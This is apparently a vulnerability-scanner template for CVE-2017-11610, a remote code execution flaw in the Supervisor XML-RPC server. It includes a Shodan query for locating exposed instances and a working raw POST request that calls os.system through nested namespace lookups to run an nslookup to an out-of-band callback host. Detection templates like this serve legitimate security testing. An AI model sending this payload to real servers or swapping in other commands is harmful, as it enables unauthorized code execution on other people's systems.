id: CVE-2017-11610

info:
  name: XML-RPC Server - Remote Code Execution
  author: notnotnotveg
  severity: high
  description: The XML-RPC server in supervisor before 3.0.1, 3.1.x before 3.1.4, 3.2.x before 3.2.4, and 3.3.x before 3.3.3 allows remote authenticated users to execute arbitrary commands via a crafted XML-RPC request, related to nested supervisor namespace lookups.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Apply the latest security patches or disable the XML-RPC server if not required.
  reference:
    - https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md
    - https://nvd.nist.gov/vuln/detail/CVE-2017-11610
    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JXGWOJNSWWK2TTWQJZJUP66FLFIWDMBQ/
    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DTPDZV4ZRICDYAYZVUHSYZAYDLRMG2IM/
    - http://www.debian.org/security/2017/dsa-3942
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2017-11610
    cwe-id: CWE-276
    epss-score: 0.97449
    epss-percentile: 0.99947
    cpe: cpe:2.3:a:supervisord:supervisor:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: supervisord
    product: supervisor
    shodan-query: http.title:"Supervisor Status"
  tags: cve2017,cve,oast,xmlrpc,msf,rce,supervisor,supervisord

http:
  - raw:
      - |
        POST /RPC2 HTTP/1.1
        Host: {{Hostname}}
        Accept: text/xml
        Content-type: text/xml

        <methodCall>
          <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
          <params>
            <param>
              <string>nslookup {{interactsh-url}}</string>
            </param>
          </params>
        </methodCall>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: header
        words:
          - "text/xml"

      - type: word
        part: body
        words:
          - "<methodResponse>"
          - "<int>"
        condition: and
# digest: 490a0046304402201ad8588b21856c3e2e3cd9b2005efb3ab532688a03f56bfe6b6d4700adcfeb24022034a9d062ba9d9e21715b31256d921ca212e61f2266208cc6aac596dd63b3d22f:922c64590222798bb761d5b6d8e72950